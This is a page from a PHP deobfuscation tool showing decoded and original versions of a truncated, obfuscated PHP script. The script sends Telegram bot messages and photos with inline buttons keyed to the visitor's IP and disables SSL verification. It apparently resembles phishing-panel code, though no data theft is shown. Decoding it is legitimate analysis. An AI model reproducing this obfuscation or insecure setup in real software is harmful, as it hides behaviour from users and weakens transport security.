Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto LuWGR; h7Mb7: function telegram_edit_button($message_id, $edited_message, $telegram_t..

Decoded Output download

<?  goto LuWGR; h7Mb7: function telegram_edit_button($message_id, $edited_message, $telegram_token, $telegram_chat_id, $buttons, $buttons_data) { $curl = curl_init(); $format = "MarkDown"; $inline_keyboard = array(); for ($i = 0; $i < count($buttons); $i++) { $button = array("text" => $buttons[$i], "callback_data" => get_IP() . "=" . $buttons_data[$i]); $inline_keyboard[] = array($button); } $reply_markup = array("inline_keyboard" => $inline_keyboard); $post_fields = array("chat_id" => $telegram_chat_id, "message_id" => $message_id, "text" => $edited_message, "parse_mode" => $format, "reply_markup" => json_encode($reply_markup)); $url = "https://api.telegram.org/bot" . $telegram_token . "/editMessageText"; curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $post_fields); $result = curl_exec($curl); curl_close($curl); $response = json_decode($result, true); if ($response["ok"]) { return true; } return false; } goto fdlo3; LuWGR: function telegram_send_button($message, $telegram_token, $telegram_chat_id, $buttons, $buttons_data, $photo_path = '') { $curl = curl_init(); $format = "MarkDown"; $inline_keyboard = array(); for ($i = 0; $i < count($buttons); $i++) { $button = array("text" => $buttons[$i], "callback_data" => get_IP() . "=" . $buttons_data[$i]); $inline_keyboard[] = array($button); } $reply_markup = array("inline_keyboard" => $inline_keyboard); if (empty($photo_path)) { $post_fields = array("chat_id" => $telegram_chat_id, "text" => $message, "parse_mode" => $format, "reply_markup" => json_encode($reply_markup)); $url = "https://api.telegram.org/bot" . $telegram_token . "/sendMessage"; } else { $post_fields = array("chat_id" => $telegram_chat_id, "caption" => $message, "photo" => new CURLFile(realpath($photo_path)), "parse_mode" => $format, "reply_markup" => json_encode($reply_markup)); $url = "https://api.telegram.org/bot" . $telegram_token . "/sendPhoto"; } curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL ?>

Did this file decode correctly?

Original Code

goto LuWGR; h7Mb7: function telegram_edit_button($message_id, $edited_message, $telegram_token, $telegram_chat_id, $buttons, $buttons_data) { $curl = curl_init(); $format = "\x4d\141\x72\153\x44\x6f\167\x6e"; $inline_keyboard = array(); for ($i = 0; $i < count($buttons); $i++) { $button = array("\164\x65\170\164" => $buttons[$i], "\x63\x61\154\x6c\142\141\x63\153\x5f\x64\141\x74\141" => get_IP() . "\75" . $buttons_data[$i]); $inline_keyboard[] = array($button); } $reply_markup = array("\151\x6e\x6c\151\x6e\x65\137\153\x65\171\x62\157\141\x72\x64" => $inline_keyboard); $post_fields = array("\143\x68\141\164\137\x69\144" => $telegram_chat_id, "\x6d\x65\x73\x73\141\147\145\x5f\x69\x64" => $message_id, "\x74\x65\170\164" => $edited_message, "\x70\x61\x72\163\145\137\x6d\x6f\x64\x65" => $format, "\x72\x65\x70\x6c\171\137\155\x61\162\153\x75\x70" => json_encode($reply_markup)); $url = "\150\164\x74\x70\163\x3a\x2f\x2f\x61\160\x69\56\x74\145\x6c\x65\147\162\141\155\x2e\x6f\x72\147\57\x62\157\164" . $telegram_token . "\x2f\145\144\x69\x74\115\x65\163\163\141\x67\x65\x54\145\x78\164"; curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $post_fields); $result = curl_exec($curl); curl_close($curl); $response = json_decode($result, true); if ($response["\x6f\153"]) { return true; } return false; } goto fdlo3; LuWGR: function telegram_send_button($message, $telegram_token, $telegram_chat_id, $buttons, $buttons_data, $photo_path = '') { $curl = curl_init(); $format = "\x4d\x61\162\x6b\x44\x6f\167\156"; $inline_keyboard = array(); for ($i = 0; $i < count($buttons); $i++) { $button = array("\x74\x65\170\x74" => $buttons[$i], "\x63\x61\154\x6c\142\x61\143\x6b\137\144\141\x74\x61" => get_IP() . "\75" . $buttons_data[$i]); $inline_keyboard[] = array($button); } $reply_markup = array("\x69\156\x6c\151\156\x65\137\153\145\x79\142\x6f\141\162\144" => $inline_keyboard); if (empty($photo_path)) { $post_fields = array("\x63\x68\141\x74\137\151\144" => $telegram_chat_id, "\164\145\170\164" => $message, "\x70\x61\162\x73\x65\137\155\x6f\x64\145" => $format, "\162\145\160\154\x79\137\x6d\x61\162\153\165\x70" => json_encode($reply_markup)); $url = "\x68\164\164\x70\x73\x3a\x2f\57\x61\x70\x69\56\x74\x65\x6c\145\x67\162\x61\155\x2e\157\162\x67\x2f\142\157\x74" . $telegram_token . "\57\x73\x65\x6e\x64\115\145\x73\x73\x61\147\145"; } else { $post_fields = array("\143\150\141\164\x5f\x69\x64" => $telegram_chat_id, "\143\141\160\x74\x69\157\156" => $message, "\160\x68\x6f\164\157" => new CURLFile(realpath($photo_path)), "\160\141\162\x73\145\x5f\x6d\x6f\144\x65" => $format, "\162\x65\160\154\x79\137\155\141\162\153\165\x70" => json_encode($reply_markup)); $url = "\x68\x74\x74\160\163\x3a\x2f\x2f\141\160\x69\56\164\145\154\x65\x67\x72\x61\155\56\x6f\162\x67\x2f\x62\157\x74" . $telegram_token . "\57\x73\145\x6e\144\120\150\157\x74\x6f"; } curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL

Function Calls

None

Variables

None

Stats

MD5 05fa265877bb02939936c18e86d8c0a7
Eval Count 0
Decode Time 52 ms